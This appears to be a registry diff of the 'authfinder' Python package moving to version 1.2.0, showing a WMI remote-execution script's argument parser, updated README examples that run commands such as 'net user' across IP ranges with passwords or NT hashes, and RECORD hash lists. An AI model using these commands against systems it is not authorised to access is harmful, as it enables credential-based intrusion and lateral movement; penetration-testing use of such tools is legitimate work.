parser.add_argument("-d", "--domain", default="", help="Domain")
|
|
290
|
+
parser.add_argument("-x", "--execute", required=True, metavar="CMD",
|
|
291
|
+
help="Command to execute")
|
|
292
|
+
parser.add_argument("-o", "--output", action="store_true",
|
|
293
|
+
help="Retrieve command output via HTTPS callback")
|
|
294
|
+
parser.add_argument("-t", "--timeout", type=int, default=30,
|
|
295
|
+
help="Timeout for output retrieval (default: 30s)")
|
|
296
|
+
parser.add_argument("-v", "--verbose", action="store_true",
|
|
297
|
+
help="Show verbose output (HTTPS server activity, etc.)")
|
|
298
|
+
|
|
299
|
+
args = parser.parse_args()
|
|
300
|
+
verbose = args.verbose
|
|
301
|
+
|
|
302
|
+
# Use blank password if neither -p nor -H supplied
|
|
303
|
+
password = args.password
|
|
304
|
+
hashes = args.hashes or ""
|
|
305
|
+
|
|
306
|
+
wmi_exec(
|
|
307
|
+
target=args.target,
|
|
308
|
+
username=args.username,
|
|
309
|
+
password=password,
|
|
310
|
+
command=args.execute,
|
|
311
|
+
domain=args.domain,
|
|
312
|
+
hashes=hashes,
|
|
313
|
+
get_output=args.output,
|
|
314
|
+
timeout=args.timeout
|
|
315
|
+
)
|
|
316
|
+
|
|
317
|
+
|
|
318
|
+
if __name__ == "__main__":
|
|
319
|
+
main()
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: authfinder
|
|
3
|
-
Version: 1.
|
|
3
|
+
Version: 1.2.0
|
|
4
4
|
Summary: Execute commands across Windows and Linux systems using multiple RCE methods (WinRM, SMB, WMI, RDP, SSH, MSSQL)
|
|
5
5
|
Author: Khael
|
|
6
6
|
Project-URL: Homepage, https://github.com/KhaelK138/authfinder
|
|
@@ -74,13 +74,13 @@ gem install evil-winrm
|
|
|
74
74
|
|
|
75
75
|
```bash
|
|
76
76
|
# Execute command on single host
|
|
77
|
-
authfinder 192.168.1.10 administrator Password123 whoami
|
|
77
|
+
authfinder 192.168.1.10 -u administrator -p Password123 -c whoami
|
|
78
78
|
|
|
79
79
|
# Execute across IP range of 192.168.1.1 to 192.168.1.50
|
|
80
|
-
authfinder 192.168.1.1-50 admin Pass123
|
|
80
|
+
authfinder 192.168.1.1-50 -u admin -p Pass123 -c 'net user'
|
|
81
81
|
|
|
82
82
|
# Use nthash instead of password
|
|
83
|
-
authfinder 10.0.0.1-10 admin :{32-bit-hash} whoami
|
|
83
|
+
authfinder 10.0.0.1-10 -u admin -p :{32-bit-hash} whoami
|
|
84
84
|
```
|
|
85
85
|
|
|
86
86
|
### IP Range Format
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
authfinder/__init__.py,sha256=4cnNl3HUjdqBdJLTz7psBregfK3uzyDJ_OUBMeBr93I,121
|
|
2
|
+
authfinder/authfinder.py,sha256=hyjDVUUbAjq4My57dPDCBPR5ergiM1W88aHsHmFmG6o,23704
|
|
3
|
+
authfinder/wmiexec_ng.py,sha256=-8dUQt3SkilfbxME0bOAw4vSFAp96-mScG9K6iVCc9I,11102
|
|
4
|
+
authfinder-1.2.0.dist-info/licenses/LICENSE,sha256=Kw_kDNp7vsEauRb1Al1Urf1pe0EZWYB0HGK8PvT4FV0,1060
|
|
5
|
+
authfinder-1.2.0.dist-info/METADATA,sha256=Wit9dB5r7xyetemzDGT6OoPbUOXLFs92lYxrTXITifw,4638
|
|
6
|
+
authfinder-1.2.0.dist-info/WHEEL,sha256=wUyA8OaulRlbfwMtmQsvNngGrxQHAvkKcvRmdizlJi0,92
|
|
7
|
+
authfinder-1.2.0.dist-info/entry_points.txt,sha256=-FjAObbRJAggp-ithes9_uz2veA5Opd5J0N_Ujm7njI,98
|
|
8
|
+
authfinder-1.2.0.dist-info/top_level.txt,sha256=tBEVwAMMMn0YcpoXt_lO1xiT-uznaCGrp7184swWocg,11
|
|
9
|
+
authfinder-1.2.0.dist-info/RECORD,,
|
|
@@ -1,8 +0,0 @@
|
|
|
1
|
-
authfinder/__init__.py,sha256=pPYwvZ-toYKpBj3jt9ASrFLagdXoX7P9ydet2GPWpeg,121
|
|
2
|
-
authfinder/authfinder.py,sha256=SSdyjsva0i2RGiDgcH6aJoIY1Q-dPP6YVl6v08wW2qw,22745
|
|
3
|
-
authfinder-1.1.4.dist-info/licenses/LICENSE,sha256=Kw_kDNp7vsEauRb1Al1Urf1pe0EZWYB0HGK8PvT4FV0,1060
|
|
4
|
-
authfinder-1.1.4.dist-info/METADATA,sha256=Xlc32jQlc9NbYcT3rqC4dPvkJbd59ALYERN_dvgKvy4,4614
|
|
5
|
-
authfinder-1.1.4.dist-info/WHEEL,sha256=qELbo2s1Yzl39ZmrAibXA2jjPLUYfnVhUNTlyF1rq0Y,92
|
|
6
|
-
authfinder-1.1.4.dist-info/entry_points.txt,sha256=9ChuQL6PNJlPHW_hSXvoFffcHCbpE0M8RHk8cz7yaIo,58
|
|
7
|
-
authfinder-1.1.4.dist-info/top_level.txt,sha256=tBEVwAMMMn0YcpoXt_lO1xiT-uznaCGrp7184swWocg,11
|
|
8
|
-
authfinder-1.1.4.dist-info/RECORD,,
|
|
File without changes
|
|
File without changes
|